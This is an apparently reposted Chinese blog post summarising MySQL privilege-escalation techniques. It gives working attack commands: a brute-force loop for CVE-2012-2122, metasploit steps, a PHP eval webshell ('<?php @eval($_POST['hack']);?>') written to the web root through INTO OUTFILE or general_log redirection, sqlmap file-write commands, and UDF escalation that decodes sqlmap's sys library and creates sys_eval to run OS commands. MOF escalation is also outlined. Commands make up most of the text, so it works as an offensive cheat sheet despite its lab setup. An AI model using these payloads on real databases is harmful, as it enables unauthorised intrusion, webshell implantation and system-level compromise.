数据库root权限获取方法
- MYSQL 3306端口弱口令爆破
- sqlmap注入--sql-shell模式
- 网站的数据库配置文件中拿到明文密码信息
- CVE-2012-2122漏洞
一、 CVE-2012-2122漏洞介绍
当连接MariaDB/MYSQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即使是memcmp()返回一个非零值,也会使MYSQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能直接登录MySQL数据库。
影响版本:
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
二、 漏洞复现
kali:10.10.10.128
靶机:10.10.10.10
- 进入vulhub/vulhub/mysql/CVE-2012-2122目录下,执行:
docker-compose up -d
docker ps
2. 启动msf,进行漏洞复现。
search cve-2012-2122
use 0
set rlhost 10.10.10.10
或者
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 10.10.10.10 -P3306 ; done
webshell权限获取
into outfile写shell条件:
- 知道网站物理路径
- 高权限数据库用户
- load_file()开启,即secure_file_priv无限制
- 网站路径有写入权限
查看数据库是否有secure_file_priv限制:
在MYSQL5.5之前secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件
在MYSQL5.5之后secure_file_priv默认是NULL,这个情况下不可以写文件
mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.23 |
+-----------+
1 row in set (0.01 sec)
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.12 sec)
1. 获取root密码
2. 设置secure_file_priv
如果这里查询secure_file_priv值为null,则权限不允许导入或者导出,需要设置secure_file_priv进行修改为空后,再进行写入。
打开my.ini文件,加入下面语句再重启服务器。
secure_file_priv=''
3. 获取网站绝对路径,使用SQL命令写入shell
select '<?php @eval($_POST['hack']);?>' into outfile '/var/www/shell.php'
也可以使用sqlmap进行文件写入,如下:
sqlmap -u "http://www.test.com/?id=x" --file-write="/root/Desktop/shell.php" --file-dest="/var/www/shell.php"
在MYSQL5.5之后已经很难实现了,因为MYSQL5.5以后的版本secure_file_priv的值设置为null,没有导入导出权限,因此可以利用日志写shell。
二 、利用日志写shell
1. 开启MySQL日志,设置日志保存目录
mysql> SHOW VARIABLES LIKE '%general%';
+------------------+----------------------------------------+
| Variable_name | Value |
+------------------+----------------------------------------+
| general_log | OFF |
| general_log_file | /usr/local/mysql/data/d5ecaf07887a.log |
+------------------+----------------------------------------+
2 rows in set (0.22 sec)
general_log默认关闭,root用户可以直接通过mysql命令进行开启,开启日志记录后用户的每一条指令,将会保存在general_log_file中。所以可以通过开启general_log,然后自定义general_log_file来进行getshell。
set global general_log="ON"; #开启general_log
set global general_log_file="/var/www/shell.php"; #修改general_log_file路径
2. 写入shell
select "<?php @eval($_POST['hack']);?>";
然后使用蚁剑或者菜刀连接!!!
MYSQL提取
UDF提权
UDF(user-defined function)是MYSQL的一个扩展接口,也可称之为用户自定义函数,它是用来拓展MYSQL的技术手段,用户通过自定义函数来实现在MYSQL中无法实现的功能,添加的新函数都可以在SQL语句中调用,就像调用一些系统函数一样。
动态链接库
提权思路:把我们的动态链接库放置在特定的目录下,创建我们自定义函数,实现系统函数命令的调用,最终导致提权。
在mysql<5.1 导出目录c:/windows或system32
在mysql>=5.1 导出安装目录/lib/plugin/
有注入点,可以通过sqlmap中里面的UDF动态链接库进行导入
\sqlmap\data\udf\mysql
#sqlmap中动态链接库位置
sqlmap中的动态链接库为了防止被杀毒软件查杀,都经过了编码处理,不能直接利用,所以要用sqlmap自带的解码工具clock.py进行解码。
\sqlmap\extra\cloak #cloak位置
#解码操作
D:\python27\sqlmap\extra\cloak>python cloak.py -d -i D:\python27\sqlmap\data\udf\mysql\linux\64\lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so #linux解码
D:\python27\sqlmap\extra\cloak>python cloak.py -d -i D:\python27\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll #windows解码
动态链接库上传位置
show variables like '%plugin%'; #查看动态链接库
select @@basedir; # 查看MySQL的安装目录
存在sql注入时
条件:secure_file_priv值为空,sql注入为最高权限。
python sqlmap.py -u "http://192.168.178.130/sqli-labs/Less-1/?id=1" --file-write="d:/tools/sqlmap/extra/cloak/lib_mysqludf_sys_64.dll" --file-dest="C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll"
不存在sql注入时
条件:需要写入文件权限,secure_file_priv为空。
#select后面为动态链接库的十六进制编码(数据太长,这里省略显示)
SELECT 0x4d5a900003... INTO DUMPFILE 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll';
动态链接库的十六进制可以通过mysql自带的hex函数或者一些文件十六进制编码器工具解决。当然在sql语句写不进去的动态链接库的时候,我们还可以通过我们的webshell来进行上传。
通过sql语句来自定义函数
#原本执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';
#修改后执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
#查询自定义函数
mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_eval | 0 | udf.dll | function |
+----------+-----+---------+----------+
#创建成功后,我们利用自定义函数进行命令执行
mysql > select sys_eval('whoami');
然后用我们这个自定义命令执行函数进行提权即可。
#删除自定义函数
mysql> drop function sys_eval;
MOF提权
现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。mof的提权原理为mof文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
在一些Mysql小于5.5.51或小于5.6.32或小于5.7.14及衍生版本,我们都可以利用CVE-2016-6663、CVE-2016-6664组合对其进行测试提权。
原文地址:MySQL提权总结(建议收藏) - 随风kali - 博客园
标签:sqlmap,提取,secure,MYSQL,sys,file,mysql,priv From: https://www.cnblogs.com/kalixcn/p/17438605.html